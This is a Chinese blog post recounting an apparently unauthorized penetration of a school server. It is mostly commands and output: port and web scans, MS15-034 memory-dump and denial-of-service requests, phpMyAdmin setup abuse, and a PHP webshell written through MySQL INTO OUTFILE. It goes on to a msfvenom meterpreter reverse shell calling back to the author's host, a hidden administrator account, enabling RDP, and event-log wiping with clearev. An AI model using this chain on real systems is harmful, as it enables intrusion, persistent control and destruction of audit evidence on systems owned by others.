针对校园某服务器的一次渗透测试

发现学校其中一台服务器可能(绝对)存在漏洞。我想(绝对)能拿下它;

而且渗透测试的过程很有趣,便将其记录下来。

0x00 前期交互及信息收集

 

由于是对内网直接进行大扫描,所以直接判断这不仅是一个Web服务器(多个),同时还运行着FTP、数据库。

在此,再次使用nmap扫描一次,结果如下:

$ sudo nmap -T4 -n -sS -sV -O 192.168.3.72Nmap scan report for 192.168.3.72Host is up (0.00076s latency).Not shown: 974 closed portsPORT      STATE    SERVICE        VERSION7/tcp     open     echo9/tcp     open     discard?13/tcp    open     daytime?17/tcp    open     qotd           Windows qotd (English)19/tcp    open     chargen21/tcp    open     ftp            FileZilla ftpd42/tcp    open     tcpwrapped80/tcp    open     http           Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)135/tcp   filtered msrpc139/tcp   filtered netbios-ssn445/tcp   filtered microsoft-ds999/tcp   open     http           Apache httpd 2.4.33 ((Win32) OpenSSL/1.0.2o mod_fcgid/2.3.9 mod_jk/1.2.40)1801/tcp  open     msmq?2107/tcp  open     msrpc          Microsoft Windows RPC2383/tcp  open     ms-olap4?3306/tcp  open     mysql          MySQL 5.5.193389/tcp  open     ms-wbt-server?8009/tcp  open     ajp13          Apache Jserv (Protocol v1.3)8080/tcp  open     http           Apache Tomcat/Coyote JSP engine 1.18082/tcp  open     http           Microsoft IIS httpd 7.549152/tcp open     msrpc          Microsoft Windows RPC1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :SF-Port13-TCP:V=7.70%I=7%D=8/13%Time=5D53656C%P=x86_64-unknown-linux-gnu%rSF:(NULL,12,"23:35:37\x202019/8/13\n")%r(NCP,12,"23:35:37\x202019/8/13\n");Device type: general purposeRunning: Microsoft Windows Vista|2008|7OS CPE: cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows_vista::sp2 cpe:/o:microsoft:windows_server_2008::sp2 cpe:/o:microsoft:windows_7OS details: Microsoft Windows Vista SP1 - SP2, Windows Server 2008 SP2, or Windows 7Network Distance: 2 hopsService Info: OS: Windows; CPE: cpe:/o:microsoft:windows

乍一看,跑了这么多服务。初步判断很可能有 vulnerabilities。

 

总结,这是一台操作系统为 Windows(目前未能确认具体版本)的、运行着FileZilla FTP、MySQL 5.5.19、Web等服务;而且开放了太多端口。

Web服务器端口: 80、999、8080、8082; 运行着这个几个Web服务。

不过经确认,只有999 Apache和8082 IIS两个端口提供的Web服务正常。

而且,999端口运行着phpMyAdmin(一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库),当然也是漏洞多多。

0x01 远程代码执行???

 

在我一顿瞎几掰操作下,其实是利用扫描器加手动验证;找到一个致命漏洞,该漏洞存在于端口 8082 IIS 服务器上。

 

MS15-034 复现

 

HTTP.sys 远程执行代码漏洞 - CVE-2015-1635

当 HTTP.sys 未正确分析经特殊设计的 HTTP 请求时会导致此漏洞。成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。

若要利用此漏洞,攻击者必须将经特殊设计的 HTTP 请求发送到受影响的系统。通过修改 Windows HTTP 堆栈处理请求的方式,此更新可以修复此漏洞。

详细

根据微软安全公告,此漏洞貌似可以远程任意代码执行;但就实际复现来说,好像并不成立。

 

通过给 IIS 服务器发送如下 HTTP 请求,便可触发这个漏洞。

GET / HTTP/1.1
Host: stuff
Range: bytes=0-18446744073709551615

而我就直接使用的 wget 测试此漏洞,当然还可以使用 curl 和 MSF。

 

$ wget --header="Range: bytes=0-18446744073709551615" http://192.168.3.72:8082/Images/top01.gif--2019-08-13 23:44:03--  http://192.168.3.72:8082/Images/top01.gifConnecting to 192.168.3.72:8082... connected.HTTP request sent, awaiting response... 416 Requested Range Not Satisfiable    The file is already fully retrieved; nothing to do.

 

如上请求包,若IIS服务器返回"Requested Range Not Satisfiable",则是存在漏洞,否则如果返回"The request has an invalid header name", 则说明漏洞已经修补。

进一步利用/危害

 

前面的远程任意代码执行并不成立;此漏洞就当前利用来说,只能造成两种危害。

我使用MSF来exploit利用方式。

如下,使用MSF读取服务器内核内存数据。

msf5 > use auxiliary/scanner/http/ms15_034_http_sys_memory_dumpmsf5 auxiliary(scanner/http/ms15_034_http_sys_memory_dump) > set RHOSTS 192.168.3.72msf5 auxiliary(scanner/http/ms15_034_http_sys_memory_dump) > set RPORT 8082msf5 auxiliary(scanner/http/ms15_034_http_sys_memory_dump) > set TARGETURI /Images/top01.gifmsf5 auxiliary(scanner/http/ms15_034_http_sys_memory_dump) > exploit
[+] Target may be vulnerable...[+] Stand by...[-] Memory dump start position not found, dumping all data instead
[+] Memory contents:48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64    |HTTP/1.1 400 Bad|20 52 65 71 75 65 73 74 0d 0a 43 6f 6e 74 65 6e    | Request..Conten|74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d    |t-Type: text/htm|6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73    |l; charset=us-as|63 69 69 0d 0a 53 65 72 76 65 72 3a 20 4d 69 63    |cii..Server: Mic|… … … … … … … … …72 6f 73 6f 66 74 2d 48 54 54 50 41 50 49 2f 32    |rosoft-HTTPAPI/2|45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72    |Error 400. The r|65 71 75 65 73 74 20 68 6f 73 74 6e 61 6d 65 20    |equest hostname |69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d    |is invalid.</p>.|0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d    |.</BODY></HTML>.|0a                                                 |.|[+] Memory dump saved to /home/f4n9x/.msf4/loot/20190814122223_default_192.168.3.72_iis.ms15034_317502.bin[*] Scanned 1 of 1 hosts (100% complete)[*] Auxiliary module execution completed

第二种,我直接使用 wget 命令。

$ wget --header="Range: bytes=18-18446744073709551615" http://192.168.3.72/Images/top01.gif

 

在敲这条命令时,我双手一直是抖的🙃🙃。

 

这条命令回车下去直接对服务器造成DoS攻击,服务器必定假死或蓝屏;我就不回车了.......

此漏洞利用,就到此位置喽...

0x02 由 phpMyAdmin 入手

 

还不甘心,难道仅仅只能让此服务器蓝屏重启吗

得想想办法拿到最高控制权

 

再次整理思路……

phpMyAdmin URL 主页:192.168.3.72:999

 

目录爆破

 

首先使用了nikto扫描了此站是否还有其他目录。

  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
$ nikto -host http://192.168.3.72:999/- Nikto v2.1.6---------------------------------------------------------------------------+ Target IP:          192.168.3.72+ Target Hostname:    192.168.3.72+ Target Port:        999+ Start Time:         2019-08-13 23:55:43 (GMT8)---------------------------------------------------------------------------+ Server: Apache/2.4.33 (Win32) OpenSSL/1.0.2o mod_fcgid/2.3.9 mod_jk/1.2.40+ Retrieved x-powered-by header: PHP/5.3.29+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS+ Uncommon header 'x-ob_mode' found, with contents: 0+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type+ Server leaks inodes via ETags, header found with file /robots.txt, fields: 0x1a 0x4e4e67f49da00+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.+ DEBUG HTTP verb may show server debugging information. See http://msdn.microsoft.com/en-us/library/e8z01xdh%28VS.80%29.aspx for details.+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST+ OSVDB-3092: /setup/: This might be interesting...+ OSVDB-3092: /README: README file found.+ OSVDB-3233: /icons/README: Apache default file found.+ 8348 requests: 0 error(s) and 17 item(s) reported on remote host+ End Time:           2019-08-13 23:56:50 (GMT8) (67 seconds)---------------------------------------------------------------------------+ 1 host(s) tested

重点在 “+ OSVDB-3092: /setup/: This might be interesting…“,这一条。

 

setup 没被关闭;由此判断管理员默认安装,这是很大的隐患。

如果管理员未对phpmyadmin目录下的setup文件进行安全处理,那普通用户可以在不进行身份认证的情况下,便可以配置服务器信息。

在这里呢!直接反手新建了一个服务器(MySQL服务器)。

而且在认证页面发现缓存的密码(huweishen.com),根据密码可猜测phpMyAdmin安装方式应该是此护卫神网站上的某款软件傻瓜式安装滴!

回到主页,未出意外地登录进去了。

CVE-2016-5734

 

中间还有一个小插曲。找到一个 phpMyAdmin 需身份验证的远程代码执行漏洞。

CVE-2016-5734_POC

$ ./cve-2016-5734.py -c 'system(ipconfig);' -u root -p toor http://192.168.5.99:999/
ERROR:
#1286 - Unknown storage engine 'InnoDB'

但是很不幸,MySQL中未开启InnoDB引擎。而开启方法只能是编辑系统中MySQL的配置文件my.cnf。

MySQL  [(none)]> show variables like "%innodb%";
+-----------------------+----------+
| Variable_name         | Value    |
+-----------------------+----------+
| have_innodb           | DISABLED |
| ignore_builtin_innodb | OFF      |
+-----------------------+----------+
2 rows in set (0.002 sec)

CVE-2016-5734 利用失败。。。

 

寻绝对路径,外写木马

 

经测试发现,MySQL中,into outfile未被禁用,而且这里也不存在WAF拦截;root用户拥有向外写文件的权限。

MySQL [(none)]> SELECT @@global.secure_file_priv;+---------------------------+| @@global.secure_file_priv |+---------------------------+|                           |+---------------------------+1 row in set (0.001 sec)

再查询未使用secure-file-priv参数;这说明不仅能向外写文件,而且想往哪里写就往哪里写。

所以,只需找到Web物理路径;使用SQL语句向Web目录写个一句话木马,就能拿到服务器的shell。

首先先判断当前MySQL的数据、插件等目录:

MySQL [(none)]> show variables like "%dir%";+-----------------------------------------+------------------------------------------+| Variable_name                           | Value                                    |+-----------------------------------------+------------------------------------------+| basedir                                 | D:/HwsApacheMaster/mysql/                || binlog_direct_non_transactional_updates | OFF                                      || character_sets_dir                      | D:\HwsApacheMaster\mysql\share\charsets\ || datadir                                 | D:\HwsApacheMaster\mysql\Data\           || lc_messages_dir                         | D:\HwsApacheMaster\mysql\share\          || plugin_dir                              | D:\HwsApacheMaster\mysql\lib/plugin      || slave_load_tmpdir                       | C:\Users\MYSQL_~1.005\AppData\Local\Temp || tmpdir                                  | C:\Users\MYSQL_~1.005\AppData\Local\Temp |+-----------------------------------------+------------------------------------------+8 rows in set (0.002 sec)

发现D:\下一个有趣的目录HwsApacheMaster,仅此而已。

此时把精力转向Web页面,打算在网页上瞎几把乱试,指望Web Application程序出错,大力出奇迹的报错将Web物理路径爆出来。绞尽脑汁地让程序报错;可惜,并没有。

思考许久……思路来了。

 

前面通过浏览器缓存发现的那个密码(huweishen.com)很有意思,通过这个密码可以发现,phpMyAdmin是管理员默认安装的;灵光一现,直接去这个网站下载这个傻瓜式一键安装的软件(护卫神),安装至本地测试,不就知道了物理路径了嘛

这款软件叫做【护卫神·Apache大师】;安装一整套环境至本地,发现目录结构如下:

├── D:/│   ├── HwsApacheMaster│   │   ├── phpmyadmin│   │   │   ├── web│   │   │   |    ├── libraries│   │   │   |    ├── database│   │   │   |    ├── doc│   │   │   |    ├── js│   │   │   |    ├── setup│   │   │   |    ├── themes│   │      ├── Apache2.2│   │     ├── Tomcat8│   │     ├── mysql│   │     ├── Java│   │     ├── php… … … … …

此时很明确了,直接一句话木马写至某目录;还有注意转义符。

MySQL [(none)]> select "<?php @eval($_POST['a']); ?>" into outfile 'D:\\HwsApacheMaster\\phpMyAdmin\\web\\she11.php';

Query OK, 1 row affected (0.002 sec)

然后,就可以使用菜刀等shell连接工具与木马进行连接;连接密码为a。

0x03 后渗透测试

 

中国蚁剑

由于菜刀只能在Windows上使用,而我操作系统为 Linux,使用的是另一款 shell 连接工具 AntSword(蚁剑) , 开源、跨平台的网站(shell)管理工具。

 

 

连接上去后,进入终端,输入cmd命令会发现无法执行。

 

D:\HwsApacheMaster\phpmyadmin\web> whoamiret=127
 

这说明,php配置文件php.ini中将一些危险函数给禁用掉了,即disable_functions。将此项删除,清理一下缓存,便可以执行cmd了。

D:\HwsApacheMaster\phpmyadmin\web> whoamint authority\system

哇!system 权限。可是比Administrator管理员用户权限还要大,这也省的我之后的提权了。

连接 Metasploit

 

由于菜刀、蚁剑这类工具功能相比于MSF功能比较欠缺,所以我要再次生成一个木马用来反弹shell连接MSF。

 
$ msfvenom --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.5.23 LPORT=4444 -f exe -o she11.exe

 

参数:

--platform  平台

    -p       payload, 有效载荷

    LHOST   本地IP   

    LPORT   本地端口

    -f             生成文件类型

    -o            输出文件名

将生成的木马通过蚁剑传至服务器上一个有执行权限的目录;虽然我和服务器并不在一个网段(本以为要做内网穿透的),但防火墙为关闭状态,依旧能够建立连接。

 

首先,MSF先在本地侦听着4444端口,等着shell反弹回来。

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.5.23
msf5 exploit(multi/handler) > set LPORT 4444
msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.5.23:4444

然后使用蚁剑,在CMD终端中执行刚刚生成的那个木马文件(she11.exe)

C:\Windows\System32> C:/Windows/System32/she11.exe

回车执行这个 exe 后,在 MSF 这边就会生成一个 meterpreter。

[*] Started reverse TCP handler on 192.168.5.23:4444[*] Sending stage (206403 bytes) to 192.168.3.72[*] Meterpreter session 1 opened (192.168.5.23:4444 -> 192.168.3.72:55580) at 2019-08-14 17:59:57 +0800
meterpreter >
 

getuid 获取当前用户,还是 SYSTEM 。

  •  
meterpreter > getuidServer username: NT AUTHORITY\SYSTEM
 

开启远程 RDP 连接

 

 
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
meterpreter > run post/windows/manage/enable_rdp[*] Enabling Remote Desktop[*]     RDP is already enabled[*] Setting Terminal Services service startup mode[*]     Terminal Services service is already set to auto[*]     Opening port in local firewall if necessary
[*] For cleanup execute Meterpreter resource file: /home/f4n9x/.msf4/loot/20190814180610_default_192.168.3.72_host.windows.cle_307378.txt
 

 

查看刚刚开启 RDP 执行的具体命令。

  •  
  •  
$ cat /home/f4n9x/.msf4/loot/20190814180610_default_192.168.3.72_host.windows.cle_307378.txtexecute -H -f cmd.exe -a "/c 'netsh firewall set service type = remotedesktop mode = enable'"
 

进入 CMD 模式。

 
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
meterpreter > shellProcess 7116 created.Channel 3 created.Microsoft Windows [版本 6.1.7600]版权所有 (c) 2009 Microsoft Corporation。保留所有权利。C:\Windows\System32>查看当前所有用户。C:\Windows\System32>net user\\ 的用户帐户---------------------------------------------------------Administrator            Guest                    mysqlMySQL_HWS                www
 

创建一个隐藏用户(Windows中在用户名后带上$即为隐藏用户,仅是简单隐藏),并拉入管理员用户组,查看。

 

C:\Windows\System32>net user she11$ D@i123 /add
C:\Windows\System32>net localgroup administrators she11$ /add
C:\Windows\System32>net user she11$用户名                 she11$全名注释用户的注释国家/地区代码          000 (系统默认值)帐户启用               Yes帐户到期               从不上次设置密码           2019/8/14 0:30:02密码到期               2019/9/25 0:30:02密码可更改             2019/8/14 0:30:02需要密码               Yes用户可以更改密码       Yes允许的工作站           All登录脚本用户配置文件主目录上次登录               2019/8/14 0:44:40可允许的登录小时数     All本地组成员             *Administrators       *Users全局组成员             *None命令成功完成。
 

完成后,直接登录到服务器。

$ rdesktop 192.168.3.72 -u she11$ -p D@i123 -g 1024x960
 

此过程中难免会留下日志信息痕迹,使用此命令来清理日志。

meterpreter > clearev[*] Wiping 16000 records from Application...[*] Wiping 20128 records from System...[*] Wiping 18688 records from Security...
  • 1
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值